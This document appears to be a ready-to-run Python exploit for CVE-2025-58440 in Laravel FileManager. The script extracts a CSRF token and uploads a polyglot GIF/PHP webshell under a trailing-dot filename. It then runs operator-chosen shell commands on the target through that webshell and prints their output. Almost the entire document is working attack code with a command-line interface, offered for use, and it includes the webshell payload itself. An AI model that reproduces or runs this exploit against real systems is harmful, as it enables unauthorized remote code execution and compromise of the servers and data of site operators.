README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Laravel File Manager Exploit (CVE-2025-58440)
CVE: CVE-2025-58440
CVSS: 3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Author: Justin Lee (Ph.Hitachi)
Title: Remote Code Execution (RCE) via Polyglot File Attack and Null Byte Injection on Laravel FileManager
Version: affected =< 12.0
Github: https://github.com/UniSharp/laravel-filemanager
"""
from io import StringIO
from rich.console import Console
from rich.table import Table
from rich.text import Text
import requests
import argparse
import sys
import random
import string
import re
from urllib.parse import urlparse, quote
def generate_random_filename(extension="php."):
"""Generate a random filename with the given extension"""
random_string = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
return f"{random_string}.{extension}"
def extract_csrf_token(target, cookies):
"""Extract CSRF token from Laravel File Manager page"""
try:
# Parse target URL
if not target.startswith(('http://', 'https://')):
target = 'http://' + target
url = f"{target}/laravel-filemanager"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
'Cookie': cookies
}
response = requests.get(url, headers=headers, timeout=30)
if response.status_code == 200:
# Look for CSRF token in hidden input field
token_pattern = r"<input type='hidden' name='_token' value='([^']+)'"
match = re.search(token_pattern, response.text)
if match:
csrf_token = match.group(1)
return csrf_token
else:
# Try alternative pattern
alt_pattern = r'<input type="hidden" name="_token" value="([^"]+)"'
match = re.search(alt_pattern, response.text)
if match:
csrf_token = match.group(1)
return csrf_token
else:
print("[-] Could not find CSRF token in response")
return None
else:
print(f"[-] Failed to access Laravel File Manager (HTTP {response.status_code})")
return None
except Exception as e:
print(f"[-] Error extracting CSRF token: {e}")
return None
def exploit(target, cookies, working_dir="/tmp", filename=None, payload_cmd='id'):
"""
Exploit the Laravel File Manager unrestricted file upload vulnerability
"""
try:
# Extract CSRF token first
csrf_token = extract_csrf_token(target, cookies)
if not csrf_token:
print("[-] Failed to extract CSRF token, cannot proceed")
return False
# Parse target URL
if not target.startswith(('http://', 'https://')):
target = 'http://' + target
url = f"{target}/laravel-filemanager/upload"
# Generate random filename if not provided
if not filename:
filename = generate_random_filename()
# Prepare webshell content - parameter based
webshell_content = "GIF89a;\n<?php if(isset($_POST['payload'])) { system($_POST['payload']); } ?>"
# Prepare multipart form data
boundary = "----WebKitFormBoundary7w227kSd4galkVL5"
payload = f"--{boundary}\r\n"
payload += f'Content-Disposition: form-data; name="working_dir"\r\n\r\n'
payload += f"{working_dir}\r\n"
payload += f"--{boundary}\r\n"
payload += f'Content-Disposition: form-data; name="upload[]"; filename="{filename}"\r\n'
payload += "Content-Type: image/png\r\n\r\n"
payload += f"{webshell_content}\r\n"
payload += f"--{boundary}\r\n"
payload += f'Content-Disposition: form-data; name="type"\r\n\r\n\r\n'
payload += f"--{boundary}\r\n"
payload += f'Content-Disposition: form-data; name="_token"\r\n\r\n'
payload += f"{csrf_token}\r\n"
payload += f"--{boundary}--\r\n"
# Prepare headers
headers = {
'Host': urlparse(target).netloc,
'Content-Type': f'multipart/form-data; boundary={boundary}',
'sec-ch-ua-platform': '"Windows"',
'Authorization': 'Bearer null',
'Cache-Control': 'no-cache',
'Accept-Language': 'en-US,en;q=0.9',
'sec-ch-ua': '"Chromium";v="139", "Not;A=Brand";v="99"',
'sec-ch-ua-mobile': '?0',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
'Accept': 'application/json',
'Origin': target,
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Referer': f'{target}/laravel-filemanager',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive',
'Cookie': cookies
}
# Send the request
response = requests.post(url, data=payload, headers=headers, timeout=30)
print(f"[*] Target: {target}")
# Check if upload was successful
if response.status_code == 200:
# Parse response to check if it contains "OK"
response_data = response.json() if response.headers.get('content-type') == 'application/json' else {}
if 'OK' in str(response_data).upper():
# Try to access the uploaded file
uploaded_file_url = f"{target}/storage/files/{working_dir.lstrip('/')}/{filename.rstrip('.')}"
print(f"[+] Webshell uploaded to: {uploaded_file_url}")
# Test the webshell if a payload command is provided
if payload_cmd:
print(f"[+] Payload command: {payload_cmd}")
try:
# Use POST to send the payload command
post_headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
'Cookie': cookies
}
response = requests.post(uploaded_file_url, data={'payload': payload_cmd}, headers=post_headers, timeout=30)
if response.status_code == 200:
print("[+] Payload Executed successfully!")
print("[+] Command output:")
print()
# Clean the output by removing any GIF89a; prefix
output = response.text
if output.startswith("GIF89a;"):
output = output[7:] # Remove the GIF89a; prefix
print(output.strip())
print()
return True
else:
print(f"[-] Webshell returned HTTP {response.status_code}")
except Exception as e:
print(f"[-] Error testing webshell: {e}")
else:
print("[+] No payload command specified, webshell uploaded but not tested")
print(f"[+] Usage: POST to {uploaded_file_url} with 'payload' parameter")
return True
else:
print("[-] Server response does not indicate success")
print(f"[*] Response: {response.text}")
else:
print("[-] File upload failed")
print(f"[*] Response: {response.text}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
console = Console(file=StringIO(), force_terminal=True)
class RichHelpFormatter(argparse.HelpFormatter):
def __init__(self, prog, parser=None):
super().__init__(prog)
self.console = console
self._parser = parser # Now passed in early
def format_help(self):
from rich.highlighter import ReprHighlighter
repr_highlighter = ReprHighlighter()
if not self._parser:
return super().format_help() # fallback
# If usage is explicitly set, use it
if self._parser.usage:
usage = self._parser.usage
else:
usage = self._format_usage(
self._parser.prog,
self._parser._actions,
self._parser._mutually_exclusive_groups,
prefix=""
).strip()
self.console.print(f"Usage: {usage}\n")
for group in self._parser._action_groups:
if not group._group_actions:
continue
if group.title:
self.console.print(f"{group.title.upper()}")
if group.description:
self.console.print(group.description)
table = Table(show_header=False, box=None, pad_edge=False)
table.add_column("Flags", no_wrap=True, min_width=40, justify="left")
table.add_column("Description", no_wrap=True)
for action in group._group_actions:
if action.help == argparse.SUPPRESS:
continue
if action.option_strings:
flag_str = ', '.join(action.option_strings)
metavar = action.metavar or (action.dest.upper() if action.nargs != 0 else None)
if metavar:
flag_str += f" {str(metavar).upper()}"
else:
flag_str = action.metavar or action.dest
help_text = action.help or ""
if (action.default is not None
and action.default != argparse.SUPPRESS
and not isinstance(action.default, bool)):
help_text += f" (default: {action.default})"
highlighted_help = repr_highlighter(help_text)
table.add_row(Text(f' {flag_str}'), highlighted_help)
self.console.print(table)
self.console.print()
return self.console.file.getvalue() # type: ignore
class RichArgumentParser(argparse.ArgumentParser):
def format_help(self):
formatter = RichHelpFormatter(self.prog, parser=self)
return formatter.format_help()
def main():
parser = RichArgumentParser(
prog="CVE-2025-58440",
description="Laravel File Manager Exploit (CVE-2025-58440)",
usage="python3 CVE-2025-58440.py <target> [--flags]"
)
parser.add_argument("target", help="Target URL (e.g., 127.0.0.1:8000)")
parser.add_argument("-C", "--cookie", required=True, help="Session cookies")
parser.add_argument("-d", "--directory", default="/tmp", help="Working directory")
parser.add_argument("-f", "--filename", help="Filename to upload (default: random)")
parser.add_argument("-p", "--payload", default="id", help="Command to execute through the webshell (e.g., 'id', 'whoami')")
args = parser.parse_args()
print()
print("[*] Laravel File Manager Exploit (CVE-2025-58440)")
print("=" * 60)
success = exploit(
target=args.target,
cookies=args.cookie,
working_dir=args.directory,
filename=args.filename,
payload_cmd=args.payload
)
if success:
print("\n[+] Exploit completed successfully!")
sys.exit(0)
else:
print("\n[-] Exploit failed!")
sys.exit(1)
if __name__ == "__main__":
main()